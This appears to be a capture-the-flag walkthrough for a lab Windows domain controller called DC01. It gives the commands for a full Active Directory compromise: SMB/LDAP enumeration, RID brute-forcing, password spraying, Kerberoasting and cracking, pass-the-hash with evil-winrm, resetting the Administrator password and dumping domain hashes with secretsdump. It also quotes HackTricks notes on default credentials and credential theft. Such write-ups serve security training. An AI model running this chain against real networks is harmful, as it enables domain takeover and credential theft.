☠️DC-1 ( kh )

DC-1 шүү

DC01 - Machine

Machine Description

  • Machine name: DC01

  • Machine type: Windows VM

  • Machine difficulty: 🟩 Easy

Tools Used

  • CrackMapExec

  • Evil-WinRM

  • impacket-GetNPUsers

  • impacket-lookupsid

  • impacket-reg

  • impacket-secretsdump

  • impacket-smbserver

  • Kerbrute

  • LDAPDomainDump

  • ldapsearch

  • Nmap

  • smbclient

Machine Writeup

ifconfig:

fping -a -g 192.168.56.0/24 2> /dev/null:

nmap -Pn -sS -sV -p- -T4 192.168.56.128:

nmap -Pn -sS --script=smb-protocols -p445 192.168.56.128:

nmap -Pn -sS --script=smb2-security-mode -p445 192.168.56.128:

<🔄 Alternative Step>

crackmapexec smb 192.168.56.128:

</🔄 Alternative Step>

echo -e '192.168.56.128\tDC01.SOUPEDECODE.LOCAL' | sudo tee -a /etc/hosts:

HackTricks

139,445 - Pentesting SMB

[#Possible Credentials]

Username(s)

Common passwords

(blank)

(blank)

guest

(blank)

Administrator, admin

(blank), password, administrator, admin

arcserve

arcserve, backup

tivoli, tmersrvd

tivoli, tmersrvd, admin

backupexec, backup

backupexec, backup, arcada

test, lab, demo

password, test, lab, demo

[#Obtain Information]

[#List shared folders]

It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.

Attacker

smbclient --no-pass -L 192.168.56.128:

<🔄 Alternative Step>

crackmapexec smb 192.168.56.128 -u 'anonymous' -p '' --shares:

</🔄 Alternative Step>

nmap -Pn -sS --script=ldap-rootdse -p389 192.168.56.128:

HackTricks

389, 636, 3268, 3269 - Pentesting LDAP

[#Bypass TLS SNI check]

According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:

[#LDAP anonymous binds]

LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. However, admins may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.

HackTricks

139,445 - Pentesting SMB

[#Enumerate Users, Groups & Logged On Users]

This info should already being gathered from enum4linux and enum4linux-ng

[#Execute Commands]

crackmapexec can execute commands abusing any of mmcexec, smbexec, atexec, wmiexec being wmiexec the default method. You can indicate which option you prefer to use with the parameter --exec-method:

Attacker

<🔄 Alternative Step>

ldapsearch -x -H ldap://192.168.56.128/ -s base -b '' "(objectClass=*)" "*" +:

</🔄 Alternative Step>

crackmapexec smb 192.168.56.128 -d 'SOUPEDECODE.LOCAL' -u 'anonymous' -p '' --rid-brute:

Exploit Notes

SMB (Server Message Block) Pentesting

[#RID Cycling Attack]

RID enumeration. It attempts to enumerate user accounts through null sessions.

Attacker

<🔄 Alternative Step>

impacket-lookupsid -no-pass 'SOUPEDECODE.LOCAL/anonymous@192.168.56.128':

</🔄 Alternative Step>

impacket-lookupsid -no-pass 'SOUPEDECODE.LOCAL/anonymous@192.168.56.128' > ./out.txt

cat ./out.txt | grep -e "SidTypeUser" > ./out2.txt

cat ./out2.txt | awk '{print $2}' > ./out3.txt

cat ./out3.txt | cut -d '\' -f2 | cut -d ' ' -f1 | tee ./domain_users.txt:

<❌ Failed Step>

hydra -L ./domain_users.txt -e s -F -V smb://192.168.56.128:

</❌ Failed Step>

crackmapexec smb 192.168.56.128 -u ./domain_users.txt -p ./domain_users.txt --no-bruteforce:

crackmapexec smb 192.168.56.128 -u 'ybob317' -p 'ybob317' --shares:

smbclient -U 'ybob317' --password 'ybob317' //192.168.56.128/Users:

cat ./user.txt:

HackTricks

Active Directory Methodology

[#Enumerating Active Directory WITH credentials/session]

Having compromised an account is a big step to start compromising the whole domain, because you are going to be able to start the Active Directory Enumeration.

Regarding ASREPRoast you can now find every possible vulnerable user, and regarding Password Spraying you can get a list of all the usernames and try the password of the compromised account, empty passwords and new promising passwords.

  • You could use the CMD to perform a basic recon

  • You can also use powershell for recon which will be stealthier

  • You ca also use powerview to extract more detailed information

  • Another amazing tool for recon in an active directory is BloodHound. It is not very stealthy (depending on the collection methods you use), but if you don't care about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.

  • DNS records of the AD as they might contain interesting information.

  • A tool with GUI that you can use to enumerate the directory is AdExplorer.exe from SysInternal Suite.

  • You can also search in the LDAP database with ldapsearch to look for credentials in fields userPassword & unixUserPassword, or even for Description. cf. Password in AD User comment on PayloadsAllTheThings for other methods.

  • If you are using Linux, you could also enumerate the domain using pywerview.

  • You could also try automated tools as:

  • Extracting all domain users It's very easy to obtain all the domain usernames from Windows (net user /domain ,Get-DomainUser or wmic useraccount get name,sid). In Linux, you can use: GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username or enum4linux -a -u "user" -p "password" <DC IP>

Attacker

impacket-GetADUsers -all -dc-ip 192.168.56.128 'SOUPEDECODE.LOCAL/ybob317:ybob317':

HackTricks

Kerberoast

[#Attack]

Linux:

Attacker

<❌ Failed Step>

impacket-GetUserSPNs -dc-ip 192.168.56.128 'SOUPEDECODE.LOCAL/ybob317:ybob317':

impacket-GetUserSPNs -dc-ip 192.168.56.128 'SOUPEDECODE.LOCAL/ybob317:ybob317' -request:

</❌ Failed Step>

ntpdate 192.168.56.128:

impacket-GetUserSPNs -dc-ip 192.168.56.128 'SOUPEDECODE.LOCAL/ybob317:ybob317' -request:

vim ./fileserver_tgs.txt:

john --wordlist=/usr/share/wordlists/rockyou.txt ./fileserver_tgs.txt:

crackmapexec smb 192.168.56.128 -u 'file_svc' -p 'Password123!!' --shares:

smbclient -U 'file_svc' --password 'Password123!!' //192.168.56.128/backup:

cat ./backup_extract.txt:

crackmapexec smb 192.168.56.128 -u 'FileServer$' -H 'aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559' --shares:

crackmapexec smb 192.168.56.128 -u 'FileServer$' -H 'aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559' -x "whoami":

<❌ Failed Step>

impacket-psexec 'FileServer$@192.168.56.128' -hashes 'aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559':

</❌ Failed Step>

crackmapexec smb 192.168.56.128 -u 'FileServer$' -H 'aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559' -X 'powershell -Command "Get-ADComputer -Identity ''FileServer$'' -Properties *"':

HackTricks

5985,5986 - Pentesting WinRM

[#Using evil-winrm]

Read documentation on its github: https://github.com/Hackplayers/evil-winrm

To use evil-winrm to connect to an IPv6 address create an entry inside /etc/hosts setting a domain name to the IPv6 address and connect to that domain.

Pass the hash with evil-winrm:

Attacker

evil-winrm -i 192.168.56.128 -u 'FileServer$' -H 'e41da7e79a4c76dbd9cf79d1cb325559':

Victim: fileserver

whoami:

whoami /priv:

whoami /groups:

hostname:

net user Administrator H4ck3d!:

exit

HackTricks

Stealing Windows Credentials

[#From Registry]

The easiest way to steal those files is to get a copy from the registry:

Download those files to your Kali machine and extract the hashes using:

[#Extracting hashes from NTDS.dit]

Once you have obtained the files NTDS.dit and SYSTEM you can use tools like secretsdump.py to extract the hashes:

You can also extract them automatically using a valid domain admin user:

For big NTDS.dit files it's recommend to extract it using gosecretsdump.

Finally, you can also use the metasploit module: post/windows/gather/credentials/domain_hashdump or mimikatz lsadump::lsa /inject

Attacker

impacket-secretsdump 'SOUPEDECODE.LOCAL/FileServer$@192.168.56.128' -hashes 'aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559':

evil-winrm -i 192.168.56.128 -u Administrator -H 'bc4103a138c65bd0c9c68cde4333c155':

<🔄 Alternative Step>

evil-winrm -i 192.168.56.128 -u Administrator -p 'H4ck3d!':

</🔄 Alternative Step>

Victim: administrator

whoami:

whoami /groups:

whoami /priv:

cd C:\Users\Administrator\Desktop

dir:

type root.txt:

PreviousSynack Red TeamNextDC-2 ( kh )

Last updated